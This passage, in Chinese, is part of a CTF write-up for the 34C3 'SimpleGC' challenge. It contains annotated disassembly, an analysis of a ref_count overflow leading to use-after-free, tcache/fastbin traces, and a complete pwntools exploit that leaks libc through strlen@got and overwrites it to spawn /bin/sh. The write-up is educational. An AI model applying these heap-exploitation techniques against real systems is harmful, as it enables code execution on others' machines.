| |`-> 0x0040121c mov eax, dword [local_14h]
| | 0x0040121f mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
| | 0x00401227 test rax, rax
| |,=< 0x0040122a je 0x401267 ; 如果 users[i] 为 0函数结束
| || 0x0040122c mov eax, dword [local_14h] ; 否则继续
| || 0x0040122f mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0
| || 0x00401237 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 users[i]->group
| || 0x0040123b mov rdi, rax
| || 0x0040123e call sub.strcmp_139 ; 将对应的 group->ref_count 减 1
| || 0x00401243 mov eax, dword [local_14h]
| || 0x00401246 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
| || 0x0040124e mov rdi, rax
| || 0x00401251 call sym.imp.free ; void free(void *ptr) ; 释放 users[i]
| || 0x00401256 mov eax, dword [local_14h]
| || 0x00401259 mov qword [rax*8 + 0x6020e0], 0 ; [0x6020e0:8]=0 ; 将 users[i] 置为 0
| ,===< 0x00401265 jmp 0x401268
| ||| ; JMP XREF from 0x0040122a (sub.Enter_index:_1c4)
| ||`-> 0x00401267 nop
| || ; JMP XREF from 0x00401265 (sub.Enter_index:_1c4)
| || ; JMP XREF from 0x0040121a (sub.Enter_index:_1c4)
| ``--> 0x00401268 mov rax, qword [local_8h]
| 0x0040126c xor rax, qword fs:[0x28]
| ,=< 0x00401275 je 0x40127c
| | 0x00401277 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00401275 (sub.Enter_index:_1c4)
| `-> 0x0040127c leave
\ 0x0040127d ret
```
其中调用了函数 `sub.strcmp_139()`,如下:
```
[0x00400a60]> pdf @ sub.strcmp_139
/ (fcn) sub.strcmp_139 139
| sub.strcmp_139 (int arg_5fh);
| ; var int local_18h @ rbp-0x18
| ; var int local_2h @ rbp-0x2
| ; arg int arg_5fh @ rbp+0x5f
| ; CALL XREF from 0x0040123e (sub.Enter_index:_1c4)
| 0x00401139 push rbp
| 0x0040113a mov rbp, rsp
| 0x0040113d sub rsp, 0x20
| 0x00401141 mov qword [local_18h], rdi ; [local_18h] 赋值为传入的 group
| 0x00401145 mov word [local_2h], 0 ; 循环计数 i初始化为 0
| ,=< 0x0040114b jmp 0x4011ba
| | ; JMP XREF from 0x004011bf (sub.strcmp_139)
| .--> 0x0040114d movzx eax, word [local_2h]
| :| 0x00401151 cdqe
| :| 0x00401153 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
| :| 0x0040115b test rax, rax
| ,===< 0x0040115e je 0x4011b4 ; 如果 groups[i] 为 0进行下一次循环即取出第一个不为 0 的 group[i]
| |:| 0x00401160 movzx eax, word [local_2h]
| |:| 0x00401164 cdqe
| |:| 0x00401166 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
| |:| 0x0040116e mov rdx, qword [rax] ; 取出 groups[i]->group_name
| |:| 0x00401171 mov rax, qword [local_18h] ; 取出传入的 group
| |:| 0x00401175 mov rsi, rdx
| |:| 0x00401178 mov rdi, rax
| |:| 0x0040117b call sym.imp.strcmp ; 进行比较
| |:| 0x00401180 test eax, eax
| ,====< 0x00401182 jne 0x4011b5 ; 如果不相等,进行下一次循环
| ||:| 0x00401184 movzx eax, word [local_2h] ; 否则继续
| ||:| 0x00401188 cdqe
| ||:| 0x0040118a mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
| ||:| 0x00401192 movzx eax, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
| ||:| 0x00401196 test al, al
| ,=====< 0x00401198 je 0x4011b5 ; 如果 ref_count 为 0继续下一次循环
| |||:| 0x0040119a movzx eax, word [local_2h] ; 否则继续
| |||:| 0x0040119e cdqe
| |||:| 0x004011a0 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
| |||:| 0x004011a8 movzx edx, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
| |||:| 0x004011ac sub edx, 1 ; 将 ref_count 减 1
| |||:| 0x004011af mov byte [rax + 8], dl ; 将低字节放回
| ,======< 0x004011b2 jmp 0x4011b5
| ||||:| ; JMP XREF from 0x0040115e (sub.strcmp_139)
| |||`---> 0x004011b4 nop
| ||| :| ; JMP XREF from 0x00401182 (sub.strcmp_139)
| ||| :| ; JMP XREF from 0x00401198 (sub.strcmp_139)
| ||| :| ; JMP XREF from 0x004011b2 (sub.strcmp_139)
| ```----> 0x004011b5 add word [local_2h], 1 ; 循环计数 + 1
| :| ; JMP XREF from 0x0040114b (sub.strcmp_139)
| :`-> 0x004011ba cmp word [local_2h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
| `==< 0x004011bf jbe 0x40114d ; 继续循环
| 0x004011c1 nop
| 0x004011c2 leave
\ 0x004011c3 ret
```
该函数的作用是遍历 groups 寻找与传入 group 相同的 groups[i],然后将 groups[i]->ref_count 减 1。这里有个问题正如我们在 edit-a-group 分析的,通过修改 group可能使 groups 中存在两个同名的 group那么根据这里的逻辑这两个同名的 group 的 ref_count 都会被减去 1可能导致 UAF 漏洞。
然后是删除 user 的过程中,只释放了 user 本身和 user->group而 user->name 没有被释放。可能导致信息泄漏。
## 漏洞利用
逆向分析完成,来简单地总结一下。
- 两个结构体和两个由结构体指针构成的数组:
```c
struct group {
char *group_name;
uint8_t ref_count;
} group;
struct user {
uint8_t age;
char *name;
char *group;
} user;
struct user *users[0x60]; // 0x6020e0
struct group *groups[0x60]; // 0x6023e0
```
- 添加 user 时将创建 user 结构体name 字符串两个 chunk
- 新建 group 时将创建 group 结构体group_name 字符串两个 chunk
- group 本身和 group->group_name 由 GC 线程来释放
- user 在删除时释放了 user 本身group->ref_count 减 1而 user->name 将导致信息泄漏
- ref_count 类型为 uint8_t 且在修改组是不会减 1将导致溢出例如0x100 和 0x0使 GC 进行释放 group 的操作
- 如果有两个同名的 group两个 user 分别指向这两个 group那么释放其中一个 user 时,另一个也会被释放,造成 UAF
然后是关于 tcache 的问题。在这个程序中有两个线程thread-1 为主线程thread-2 为 GC 线程,它们都有自己的 tcache。程序中所有 chunk 的分配工作都由 thread-1 执行thread-2 只释放group和group_name不分配所以在它的 tcache bins 被装满以后所有该线程释放的 fast chunk 都被放进 fastbins 中。而 fastbins 是进程公用的,所以会被主线程在分配时使用。
第一种方法,我们利用 ref_count 溢出的 UAF。
#### overflow
首先我们来溢出 ref_count
```python
def overflow():
sleep(1)
for i in range(0x100-1):
add_user('a'*8, 'A'*4)
edit_group(0, 'n', 'B'*4)
delete_user(0)
add_user('a'*8, 'A'*4) # overflow ref_count
sleep(2) # group_name and group freed by GC
```
首先说一下 for 循环,前几次当 thread-2 的 tcache 还未装满时,它的操作和下面类似(顺序可能不同):
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x6034a0
group_name: malloc(24)=0x6034c0
group: malloc(16)=0x6034e0
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x6034c0) => thread-2 tcache
group: free(0x6034e0) => thread-2 tcache
```
当 thread-2 tcache 装满时,它释放的 chunk 都会被放进 fastbins于是就可以被 thread-1 取出,下面是第 4 和 第 5 次循环:
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x603500
group_name: malloc(24)=0x603520
group: malloc(16)=0x603540
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x603520) => thread-2 tcache
group: free(0x603540) => fastbin
```
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x603540 <== fastbin
group_name: malloc(24)=0x603560
group: malloc(16)=0x603580
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x603560) => fastbin
group: free(0x603580) => fastbin
```
此时的 thread-1 tcache 和 fastbin 如下所示:
```
tcache: 0x6033c0
fastbin: 0x603560 -> 0x603580
```
于是第 6 次循环,在第一次从 fastbin 中取出 chunk 后,剩余的 chunk 会被放入 thread-1 tcache逆序然后再从 tcache 里取FILO
```
user: malloc(24)=0x6033c0 <= tcache
name: malloc(9)=0x603580 <= fastbin (tcache: 0x603560)
group_name: malloc(24)=0x603560 <= tcache
group: malloc(16)=0x6035a0
user: free(0x6033c0) => tcache
group_name: free(0x603560) => fastbin
group: free(0x6035a0) => fastbin
```
再往后,其实都是重复这个过程。循环结束时的状态为:
```
gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x0000000000000000 0x0000000000000000 <-- users[]
0x6020f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx 0x6023e0
0x6023e0: 0x00000000006033a0 0x0000000000000000 <-- groups[]
0x6023f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/2gx 0x6033a0
0x6033a0: 0x0000000000603380 0x00000000000000ff <-- ref_count
gdb-peda$ x/2gx 0x603380
0x603380: 0x0000000041414141 0x0000000000000000 <-- group_name
```
```
tcache: 0x6033c0
fastbin: 0x603560 -> 0x6054c0
```
紧接着我们再添加一个 user导致 ref_count 溢出为 `0x100` 后,程序只有只有将低位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,放进 fastbin。
```
user: malloc(24)=0x6033c0 <= tcache
name: malloc(9)=0x6054c0 <= fastbin (tcache: 0x603560 ; fastbin: )
fake group_name: free(0x603380) => fastbin (tcache: 0x603560 ; fastbin: 0x603380)
fake group: free(0x6033a0) => fastbin (tcache: 0x603560 ; fastbin: 0x603380 -> 0x6033a0)
group_name: malloc(24)=0x603560 <= tcache (tcache: ; fastbin: 0x603380 -> 0x6033a0)
group: malloc(16)=0x6033a0 <= fastbin (tcache: 0x603380 ; fastbin: )
```
最终结果为:
```
gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[]
0x6020f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx 0x6023e0
0x6023e0: 0x0000000000000000 0x0000000000000000 <-- groups[]
0x6023f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/3gx 0x6033c0
0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0]
0x6033d0: 0x0000000000603380 <-- users[0]->group
gdb-peda$ x/2gx 0x603380
0x603380: 0x0000000000000000 0x0000000000000000 <-- ref_count
```
最后将 groups[0] 赋值为 0表现为 groups[] 为空。但 users[0] 依然存在users[0]->group 依然指向 `group_name``0x603380`),悬指针产生。
#### uaf and leak
接下来利用悬指针泄漏 libc 的地址:
```python
def leak():
add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
__strlen_sse2_addr = u64(display_user(1)[13:19].ljust(8, '\0'))
libc_base = __strlen_sse2_addr - 0xa83f0
system_addr = libc_base + libc.symbols['system']
log.info("__strlen_sse2 address: 0x%x" % __strlen_sse2_addr)
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
return system_addr
```
在执行该函数前的 tcache 如下:
```
tcache: 0x603380
```
当我们添加一个 user 时,因为 group "BBBB" 不存在,所以首先创建一个 group然后再创建 user这个 user struct 将从 thread-1 tcache 中取出。接下来我们修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示:
```
gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[]
0x6020f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx 0x6023e0
0x6023e0: 0x00000000006033a0 0x0000000000000000 <-- groups[]
0x6023f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/3gx 0x6033c0
0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0]
0x6033d0: 0x0000000000603380
gdb-peda$ x/3gx 0x603380
0x603380: 0x0000000000000000 0x0000000000602030 <-- users[1]
0x603390: 0x0000000000602030 <-- fake users[1]->group
```
接下来只要 display users[1],就可以将 strlen 的地址打印出来,然而:
```
gdb-peda$ x/gx 0x602030
0x602030: 0x00007ffff7aa03f0
gdb-peda$ disassemble strlen
Dump of assembler code for function strlen:
0x00007ffff7a8bee0 <+0>: mov rax,QWORD PTR [rip+0x345f71] # 0x7ffff7dd1e58
0x00007ffff7a8bee7 <+7>: lea rdx,[rip+0xea982] # 0x7ffff7b76870 <__strlen_avx2>
0x00007ffff7a8beee <+14>: mov eax,DWORD PTR [rax+0xa8]
0x00007ffff7a8bef4 <+20>: and eax,0x20c00
0x00007ffff7a8bef9 <+25>: cmp eax,0xc00
0x00007ffff7a8befe <+30>: lea rax,[rip+0x144eb] # 0x7ffff7aa03f0 <__strlen_sse2>
0x00007ffff7a8bf05 <+37>: cmove rax,rdx
0x00007ffff7a8bf09 <+41>: ret
End of assembler dump.
```
strlen@got 指向的并不是 strlen 函数,而是它里面的 `__strlen_sse2`,这就很奇怪了。原因出在这次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=dc485ceb2ac596d27294cc1942adf3181f15e8bf)。libc-2.26 中使用了 AVX2 对 strlen 系列函数进行优化。
那我们修改一下,反正计算偏移的方法是相同的:
```
gdb-peda$ vmmap libc
Start End Perm Name
0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/SimpleGC/libc-2.26.so
0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/SimpleGC/libc-2.26.so
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/SimpleGC/libc-2.26.so
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/SimpleGC/libc-2.26.so
gdb-peda$ p 0x7ffff7aa03f0 - 0x00007ffff79f8000
$2 = 0xa83f0
```
然而就得到了 system 的地址。
#### get shell
最后只需要修改 strlen@got 为 system@got 就可以了:
```c
def overwrite(system_addr):
edit_group(1, "y", p64(system_addr)) # strlen_got -> system_got
def pwn():
add_user("/bin/sh", "B"*4) # system('/bin/sh')
io.interactive()
```
```
gdb-peda$ x/gx 0x602030
0x602030: 0x00007ffff7a3fdc0
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
```
#### exploit
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
io = process(['./sgc'], env={'LD_PRELOAD':'./libc-2.26.so'})
libc = ELF('libc-2.26.so')
elf = ELF('sgc')
def add_user(name, group):
io.sendlineafter("Action: ", '0')
io.sendlineafter("name: ", name)
io.sendlineafter("group: ", group)
io.sendlineafter("age: ", '3')
def display_group(name):
io.sendlineafter("Action: ", '1')
io.sendlineafter("name: ", name)
def display_user(idx):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(idx))
return io.recvuntil("0: ")
def edit_group(idx, propogate, name):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("(y/n): ", propogate)
io.sendlineafter("name: ", name)
def delete_user(idx):
io.sendlineafter("Action: ", '4')
io.sendlineafter("index: ", str(idx))
def overflow():
sleep(1)
for i in range(0x100-1):
add_user('a'*8, 'A'*4)
edit_group(0, 'n', 'B'*4)
delete_user(0)
add_user('a'*8, 'A'*4) # overflow ref_count
sleep(2) # group_name and group freed by GC
def leak():
add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
__strlen_sse2_addr = u64(display_user(1)[13:19].ljust(8, '\0'))
libc_base = __strlen_sse2_addr - 0xa83f0
system_addr = libc_base + libc.symbols['system']
log.info("__strlen_sse2 address: 0x%x" % __strlen_sse2_addr)
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
return system_addr
def overwrite(system_addr):
edit_group(1, "y", p64(system_addr)) # strlen_got -> system_got
def pwn():
add_user("/bin/sh\x00", "B"*4) # system('/bin/sh')
io.interactive()
if __name__ == "__main__":
overflow()
system_addr = leak()
overwrite(system_addr)
pwn()
```
虽然这一切看起来都没有问题,但我在运行的时候 system('/bin/sh') 却执行失败了,应该是我的 /bin/sh 不能使用这个 libc 的原因:
```
LD_PRELOAD=./libc-2.26.so /bin/sh
[1] 14834 segmentation fault (core dumped) LD_PRELOAD=./libc-2.26.so /bin/sh
```
应该换成 Ubuntu-17.10 试试。本机Arch
第二种方法,我们利用两个具有同名 group 的 user 释放时的 UAF。这种方法似乎与 tcache 的关系更大一点。
## 参考资料
- https://ctftime.org/task/5137
- https://github.com/bkth/34c3ctf/tree/master/SimpleGC